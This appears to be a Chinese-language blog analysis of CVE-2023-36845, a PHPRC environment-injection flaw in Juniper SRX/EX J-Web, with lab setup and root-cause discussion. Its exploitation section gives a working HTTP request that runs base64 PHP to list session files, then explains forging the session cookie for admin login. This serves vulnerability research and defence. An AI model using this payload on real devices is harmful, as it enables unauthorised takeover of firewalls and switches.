CVE-2023-36845 Juniper SRX EX 远程命令执行漏洞

漏洞信息

漏洞名称:CVE-2023-36845 Juniper SRX EX 远程命令执行漏洞

影响应用:瞻博网络 Junos OS 的 SRX 防火墙和 EX 交换机系列产品

漏洞介绍:Web 服务器存在环境变量注入漏洞,通过控制 PHPRC ( PHP 环境变量 )影响 PHP 配置文件,使用配置文件中的 auto_prepend_file 进行文件包含,导致代码执行、文件泄露等危害。本漏洞和 J-Web 的代码无关,而是其使用的 Web 服务器的原因。

漏洞利用:上面虽然说到可代码执行,但 Juniper 有开发了一个 Veriexec 工具,它会限制住系统命令执行( ls 、id 啥的有点用的都不行 ),而且 J-Web 运行在 FreeBSD Jail ( 每个 Jail 环境都有其独立的文件系统、进程空间和网络堆栈),所以说这个代码执行并不能去执行系统命令,只能够利用 PHP 代码去做一些事情。

所以该漏洞的危害是从其他方面去入手的,不过同样有限制:J-Web 的登录凭证会存储到 /var/sess/ 目录下 ( 别人登录后,有效 1 h ),我们可以利用 PHP 代码去获取该目录下的文件名,其文件名就是凭证值,然后在 Cookie 加入该值就可以登录 J-Web 后台,控制防火墙、交换机设备。

应用介绍:Juniper Networks Junos OS EX 是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和 Junos SDK。

Juniper Networks Junos OS EX 存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。允许未经身份验证的网络攻击者控制某些重要的环境变量。攻击者利用特制请求可以修改某个PHP环境变量,造成部分完整性损失,这可能允许链接到其他漏洞。

修复介绍:官方给的修复方式就是禁用 J-Web 组件,使用客户端去进行设备管理。禁用 J-Web 后虽然该漏洞仍然存在,但无法获取凭证登录后台了。

环境搭建

下载个 ova 文件导入虚拟机中然后配置 J-Web 就可以了,官网要注册,找了一个百度云的:

链接:https://pan.baidu.com/s/14AOCwCxMWLL6ok35pcSVdQ?pwd=6ee4 

进去后改下网络适配器 NAT:

image

安装完成后,登录 root 用户,空密码,然后去开启 J-Web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 进入控制页面
cli
# 配置密码
configure
set system root-authentication plain-text-password
commit
# 开启 J-Web 192.168.254.134/24 是自己机器的
set interfaces ge-0/0/1 unit 0 family inet address 192.168.254.134/24
set security zones security-zone trust
set security zones security-zone trust interfaces ge-0/0/1.0
set security zones security-zone trust interfaces ge-0/0/1.0 host-inbound-traffic system-services ping
set security zones security-zone trust interfaces ge-0/0/1.0 host-inbound-traffic system-services ssh
set security zones security-zone trust interfaces ge-0/0/1.0 host-inbound-traffic system-services http
set security zones security-zone trust interfaces ge-0/0/1.0 host-inbound-traffic system-services https
set system services web-management http interface ge-0/0/1.0
set system services web-management https system-generated-certificate
set system services web-management https interface ge-0/0/1.0
set system services ssh root-login allow
commit

密码就是之前设置的密码。

J-Web 组件代码在 /packages/mnt/jweb-srxtvp-8ae76b91/jail/html 目录下。

image

利用原理

auto_prepend_file 是 php.ini 中的一项配置,其作用相当于 php 代码 require 或 include,这个参数表示php程序加载应用程序前加载指定的php文件。

allow_url_include 是否允许 include/require 打开 URL 作为文件处理。

在本地先搞一下,修改 php.ini:

1
2
3
4
# 文件包含, 利用 data:// 内嵌文件
auto_prepend_file = "data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="
# allow_url_include 开启导致可以利用 data:// 来内嵌文件进行无文件导致文件包含漏洞
allow_url_include = On

然后在写一个用于访问的 php 文件:

image

访问后就可以看到其加载了 phpinfo.php :

image

再看一下 PHPRC 环境变量,这个环境变量是可以控制 php.ini 的,这个漏洞就是这个环境变量可控,然后导致的代码执行漏洞。

image

这个漏洞利用原理就是这样,PHPRC 可控导致代码执行。

漏洞分析

关于 CVE-2023-36845 漏洞官方的介绍和修复都非常简单:

image

image

……..

该应用使用的是 CGI 模式,其执行流程如下:

  1. 客户端请求: 用户通过浏览器发送HTTP请求到Web服务器。

  2. Web服务器检测CGI: Web服务器检查请求的URL,如果它指向一个CGI脚本,就会触发CGI处理。

  3. 环境变量设置: Web服务器为CGI脚本设置一些环境变量,这些变量包含了有关请求的信息,例如请求方法(GET或POST)、查询字符串、请求头等。

  4. CGI脚本执行: Web服务器启动一个新的进程,运行指定的CGI脚本。脚本接收到环境变量和请求数据。

  5. 处理请求: CGI脚本根据环境变量和请求数据生成响应内容,通常是HTML页面。

  6. 响应发送: 生成的响应被发送回Web服务器。

  7. Web服务器发送响应: Web服务器将响应发送回客户端浏览器,完成HTTP请求-响应周期。

操作环境变量的很明显就应该是 Web 服务器这里了。

Web 服务器在 /packages/mnt/jweb-srxtvp-8ae76b91/usr/sbin 就一个可执行文件:

image

可以看到 appweb.conf ,它是基于 appweb 开发而来的,搜一下跟环境变量有关的就这个了:

image

appweb 是 Embedthis 开发的一款嵌入式 web 服务器,Embedthis 旗下还有 GoAhead 项目,也是一个比较出名的嵌入式 web 服务器。这个项目有 CVE-2017-17562 以及 CVE-2021-42342 这两个 goahead 的环境变量注入漏洞,成因是代码在处理用户提交的参数时没有合理限制敏感字符,导致可以注入如 LD_PRELOAD 等关键环境变量。

看不到代码,也没有具体的介绍,就只能猜测该漏洞可能是 Juniper 在 Web 服务器 appweb 这里导致了环境变量注入漏洞。网上也没找到具体的说明。

漏洞利用

这个漏洞的利用方式的有个发展过程,漏洞发布的时候评分 5.3 ,不过在和 CVE-2023-36846 组合起来利用的时候,达成 RCE 效果,组合评分 9.8。在 watchtowr 的文章中,其研究通过 CVE-2023-36846 ( 未授权文件上传漏洞 ) 上传 php 和 ini 文件,然后利用 CVE-2023-36845 修改 PHPRC指向上传的 ini 文件,从而造成文件包含代码执行。

随后 vulncheck 的 Jacob Baines 发现了一条单洞就可以代码执行的利用方式,然后评分升级了:

image

这个 CVE-2023-36846 是因为 do_upload 函数,也就是进行文件上传的,没有对文件上传做限制,导致可以上传文件到 /var/tmp/ 目录下,上传 ini 和 php 文件,然后在设置 /?PHPRC=/var/tmp/xxx.ini,这就导致了文件包含。

而 vulncheck 发现的这种利用方式,也就是在上面那本地测试的那种,利用 data:// 内嵌文件进行包含。

这里去执行一下系统命令:

image

这个就是 Veriexec 导致的了,也是因为这个东西 watchtowr 才使用了 PHPRC + ini 文件包含的利用手法,而不是使用 LD_PRELOAD 环境变量加载动态链接库进行命令执行( CVE-2017-17562  的利用手法 )。

image

由于存在 Veriexec 导致不能够去进行命令执行,就只能是去找其他的利用方法:

在 /packages/mnt/jweb-srxtvp-8ae76b91/jail/html/core/user.php 中,可以看到它会把 session 保存为 “$sessPath/sess_“ . $cookie_value 并且其判断登录也是靠的这个文件是否存在。

image

这里就是直接登录一下,在系统里面找下文件:

image

/var/jail/sess/和那个目录下都有,那使用 PHP 读取该目录下的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 192.168.254.134
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 122

allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgcHJpbnRfcihzY2FuZGlyKCcvdmFyL3Nlc3MnKSk7Pz4="

image

image

然后伪造 PHPSESSID 进行登录即可,这里要注意:

http 是 PHPSESSID,https 是 SECUREPHPSESSID:

image

image

刷新页面即可进入后台,不过这个 PHPSESSID 有效时常是 1 h,还需要对方也正在登录,没有退出的情况才有用:

image

漏洞修复就是关闭 J-Web,访问后就类似于这种,后台无法利用:

image

问题出现在 web 服务器,所有就算关闭 J-Web 也同样可以利用,不过后台无法利用的话其实这个漏洞很难在往下去利用了,目前的危害就是可以执行 PHP 代码获取一些信息或者能使用 PHP 代码对内网进行探测:

image

image

MSF 中也有对该漏洞的利用:

https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb

从它的 payload 路径就可以看到其归类到 freebsd 这里了。

image

它最后的利用是去依靠 FreeBSD Jail 启用逃逸模式,然后去利用 Juniper J-Web 后台的某些功能去重写真实系统上的 ssh 密码密码。

image

不过前提就是 JAIL_BREAK 要开启,这个 Juniper 应该是不会给默认开启的:

image

找了一下,没开

image

那么这个漏洞的危害就是代码执行( 达不到执行系统命令 )、登录后台操作设备了。

参考链接


CVE-2023-36845 Juniper SRX EX 远程命令执行漏洞
https://liancccc.github.io/2023/11/15/技术/漏洞分析/CVE-2023-36845/
作者
守心
发布于
2023年11月15日
许可协议